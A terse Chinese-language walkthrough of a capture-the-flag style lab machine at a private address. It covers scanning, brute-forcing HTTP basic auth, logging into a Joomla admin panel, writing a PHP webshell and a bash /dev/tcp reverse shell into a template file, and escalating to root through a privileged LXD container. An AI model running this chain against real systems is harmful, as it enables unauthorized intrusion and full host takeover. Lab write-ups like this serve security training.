1.信息收集
arp-scan -l
ip为 192.168.48.150
2.端口扫描
nmap -T4 -sV -O -p- 192.168.48.150
22,80,8080端口开放
3.目录扫描
dirsearch http://192.168.48.150
8080端口
4.访问192.168.48.150的端口
8080端口需要账号密码
进行抓包,输入admin/admin
发送intruder,发现密码
登录成功
管理员账户
发现没有地方可以攻击,进行dirsearch
dirsearch --auth-type=basic --auth=joker:hannah -u http://192.168.48.150:8080/
其中/administrator/index.php 显示一个登录界面
使用joomla/Joomla 的超级管理员登录
发现可以修改php
添加一句话木马
寻找该文件所在的URL
http://192.168.48.150:8080/templates/beez3/language/en-GB/111.php
蚁剑连接
发现不成功,为什么呢?这里其实涉及basic认证的问题,使用BP抓包可以发现
反弹shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.48.130/7777 0>&1'");?>
将上述代码写入前面创建的111.php
中,并在kali中开启监听
nc -lnvp 7777
刷下一下
提权
查看Linux版本我们发现此靶场是18.04版的linux
cat /etc/*release
在kali中查看是否存在其相应的提权EXP,发现可以尝试LXD提权
searchsploit Ubuntu 18.04
查看相关exp的相关信息
searchsploit -p 46978
使用说明
cat /usr/share/exploitdb/exploits/linux/local/46978.sh
下载EXP
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
ls
./build-alpine
确保本地web服务开启便于将本地编译好的apline镜像传到目标机
systemctl status apache2.service
将镜像复制到html目录下并且更改权限777方便目标机wget
cp /root/lxd-alpine-builder/alpine-v3.13-x86_64-20210218_0139.tar.gz ./
之后回到反弹Shell界面将其从kali上wget下来
cd /tmp
wget http://192.168.48.130/alpine-v3.13-x86_64-20210218_0139.tar.gz
导入镜像
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
初始化镜像
lxc init myimage ignite -c security.privileged=true
挂载磁盘
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
启动镜像
lxc start ignite
进入镜像,此时我们便可以通过root用户访问任意文件了
lxc exec ignite /bin/sh
cd /mnt/root/root
cat final.txt